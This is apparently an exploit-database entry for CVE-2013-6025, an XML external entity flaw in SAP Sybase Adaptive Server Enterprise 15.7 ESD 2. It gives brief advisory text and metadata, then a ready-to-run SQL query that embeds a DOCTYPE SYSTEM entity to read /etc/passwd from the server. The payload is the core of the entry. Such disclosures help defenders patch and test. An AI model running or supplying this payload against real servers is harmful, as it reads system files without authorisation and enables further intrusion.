SAP Sybase Adaptive Server Enterprise - XML External Entity Information Disclosure

Author: Igor Bulatenko
type: remote
platform: multiple
port: 0
date_added: 2015-11-25
date_updated: 2015-11-25
verified: 1
codes: CVE-2013-6025;OSVDB-98655
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source: https://www.securityfocus.com/bid/63193/info

SAP Sybase Adaptive Server Enterprise is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected.

SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>'))